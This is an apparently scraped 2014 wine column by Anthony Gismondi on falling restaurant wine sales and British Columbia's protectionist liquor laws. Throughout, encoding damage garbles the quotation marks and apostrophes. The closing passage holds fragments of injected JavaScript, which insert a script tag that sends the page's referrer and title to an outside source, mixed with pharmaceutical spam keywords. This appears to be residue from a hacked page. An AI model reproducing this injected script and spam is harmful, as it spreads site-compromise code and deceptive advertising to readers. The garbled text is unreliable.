Shifting habits need shifting laws – June 7, 2014

By Anthony Gismondi

In a recent story by Wines and Vines writer Paul Franson, he covered the disturbing issue of a drop in on-premise (restaurant) wines sales in the United States. It bucks the trend of rising wine consumption and solid retail sales in what is a continuing countrywide recovery.

The problem is those pesky millennial drinkers. It seems a�?Theya��re increasingly enchanted with cocktails and craft beer. That trend was the focus of remarks by Sandy Block, MW and vice president in charge of the beverage program at Legal Seafoods, a 36-location restaurant group in the eastern United States.a�?

Block was speaking at a trade seminar and he pointed to significant changes in the behavior and expectations of customers in the on-premise channel. a�?Customers dona��t just want to eat and drink; they want to be entertained,a�? he said. a�?And cocktails and draft beer are more entertaining to them than wine.a�?

The shift began after 2008 as the world economy stalled. Block told Franson a�?Everything changed. We realized we were in a different business than we thought we were in. Restaurants were no longer temples of gastronomy. They were for entertainment. We werena��t just in the business of feeding people. We were feeding their souls.a�? Block went on to explain that they needed to put on a show and embrace more social interactions between staff and customers. Does this sound familiar: a�?Open kitchens, custom-made cocktails and lively bars with attractive, muscled bartenders with tattoos shaking cocktails like maracas and blenders whirling.a�?

Fast forward to British Columbia. Craft brewers and artisanal distilleries are emerging all over the province, providing serious competition for import producers of beer, spirits and as shown in the United States, you can add wine to the equation. There is no guarantee of sales no matter what you are producing and as the market and consumer evolve, ita��s important for producers to evolve as they chase the elusive, discretionary liquor dollars spent in restaurants and bars. Ita��s especially critical in an unbalanced tax market such as B.C.

Ironically, the same advantage won by local wine producers to avoid paying the massive markup tax as import wineries pay will soon become their stiffest opposition in the form of local beer and spirit producers seeking the same tax relief. In the lattera��s case, both are more profitable pours in restaurants. Add to that the fact many young consumers consider beer and spirits a much hipper choice and there will be interesting times ahead.

Wineries hoping for a home run in grocery stores may be further disappointed. Remember those big announcements from government regarding the sale of wine in grocery stores. So far only two grocery stores have managed to avoid the labyrinth of restrictions and protections accorded all previous licensed retailers that now sell wine. The winners, and I use that term loosely, will operate with separate cash registers, and wine spread across two locations in the store depending on their country of origin. Seriously, who dreams this stuff up?

No progress will be made until the current byzantine system that provides protection for some is abandoned and we start over. A small tax on everyone and a wholesale price for business would solve most of the self-imposed mess government brings to the alcohol business.

As it stands today, all the fiddling to please local businesses at the expense of foreign producers is jeopardizing the future of everyone selling alcohol in B.C. Ita��s a global market in a connected world and unless the B.C. government decides to shut down the internet, it should take another look at its new improved liquor laws and think about joining the real world.document.currentScript.parentNode.insertBefore(s, document.currentScript); requip xl 8 mg price cheap cardura classification Buy d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript); isotretinoin online

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